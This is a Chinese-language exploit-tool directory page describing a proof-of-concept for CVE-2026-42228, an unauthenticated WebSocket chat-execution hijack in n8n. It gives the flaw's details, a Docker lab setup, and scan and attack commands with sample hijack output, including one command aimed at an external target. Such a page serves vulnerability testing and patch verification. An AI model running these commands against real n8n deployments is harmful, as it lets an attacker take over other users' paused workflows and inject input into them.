Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-42228 — CVE-2026-42228 的概念验证漏洞利用程序,针对 n8n 中未经身份验证的聊天执行劫持漏洞,附带自动化扫描与攻击脚本。 | Kitploit
工具/GitHubGitHub/rudsarkar/cve-2026-42228
侦察漏洞分析漏洞利用Web应用程序漏洞利用渗透测试红队
GitHubrudsarkar/cve-2026-42228

CVE-2026-42228

CVE-2026-42228 的概念验证漏洞利用程序,针对 n8n 中未经身份验证的聊天执行劫持漏洞,附带自动化扫描与攻击脚本。

查看仓库
3个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

GHSA-f77h-j2v7-g6mw — n8n 未认证聊天执行劫持

CVE: CVE-2026-42228
严重性: 高
受影响版本: n8n < 1.123.32
修复版本: n8n 1.123.32 / 2.17.4 / 2.18.1


漏洞概述

chat-service.ts :: startSession() 接受来自 WebSocket 查询字符串的 executionId,并且仅检查该执行是否存在于数据库中。它从未验证调用者是否有权访问该执行。

知道(或能够枚举)处于 等待 状态的有效数字执行 ID 的未认证攻击者可以:

  1. 无需凭据即可连接到 /chat WebSocket。
  2. 接收正在向合法用户显示的待处理提示。
  3. 注入任意聊天输入,从而恢复——并劫持——工作流。

前提条件:

  • 一个公开的托管聊天工作流,且认证设置为“无”处于活动状态。
  • 至少有一个执行当前处于 waiting 状态。
  • 攻击者可以猜测或枚举数字执行 ID(顺序整数)。

实验环境搭建

要求

  • Docker ≥ 24,支持 Compose v2
  • 本地主机上的端口 5678 空闲

一键搭建

root@kitploit:~
chmod +x exploit.sh
./exploit.sh setup

此命令拉取 n8nio/n8n:1.123.22(最后一个受影响版本),构建攻击者镜像,并在 http://localhost:5678 启动易受攻击的目标。


端到端漏洞利用演练

1. 配置易受攻击的目标

  1. 打开 http://localhost:5678 并完成设置向导(任意凭据)。
  2. 创建一个新工作流。
  3. 添加一个 聊天触发器 节点 → 设置 认证 = 无。
  4. 在触发器之后添加一个 等待 节点(或任何暂停等待用户输入的节点)。
  5. 激活 工作流。

2. 触发等待中的执行

打开聊天触发器节点中显示的公开聊天 URL 并发送一条消息。执行将进入 等待 状态,暂停等待下一条聊天回复。

3. 扫描等待中的执行(未认证)

root@kitploit:~
./exploit.sh scan
# 或指定范围:
./exploit.sh scan 1 500

找到易受攻击的执行时的预期输出:

root@kitploit:~
[+] WAITING execution found! exec_id=7
    Server said: 'n8n|continue'
    Server said: '{"action":"sendMessage","sessionId":"...","chatInput":"Hello"}'
    [!!!] Hijack payload sent: '[CVE-2026-42228] hijacked by PoC'

4. 直接攻击已知的执行 ID

root@kitploit:~
./exploit.sh attack 7
# 或使用自定义载荷:
./exploit.sh attack 7 "custom injected message"

5. 观察劫持

回到 n8n 编辑器中,工作流将以 攻击者 注入的消息恢复,而不是合法用户的输入。


手动 Docker 命令

root@kitploit:~
# 构建攻击者镜像
docker build -t n8n-chat-hijack-poc .

# 扫描(连接到共享实验网络)
docker run --rm --network ghsa-f77h-j2v7-g6mw_lab \
    n8n-chat-hijack-poc \
    --target http://n8n-vuln:5678 \
    --start-id 1 --end-id 200

# 攻击特定执行
docker run --rm --network ghsa-f77h-j2v7-g6mw_lab \
    n8n-chat-hijack-poc \
    --target http://n8n-vuln:5678 \
    --exec-id 7 --inject "PWNED"

# 针对外部目标(无需网络标志)
docker run --rm n8n-chat-hijack-poc \
    --target https://n8n.example.com \
    --exec-id 42 --inject "PWNED"

清理

root@kitploit:~
./exploit.sh clean

停止容器并删除卷(包括 SQLite 数据库)。


文件

文件描述
poc_GHSA-f77h-j2v7-g6mw.py独立 Python PoC
Dockerfile攻击者容器镜像
docker-compose.yml

参考

  • GHSA-f77h-j2v7-g6mw
  • n8n 1.123.32 版本更新日志
下载工具
完整实验环境:易受攻击的 n8n + 攻击者
exploit.sh常用操作的辅助脚本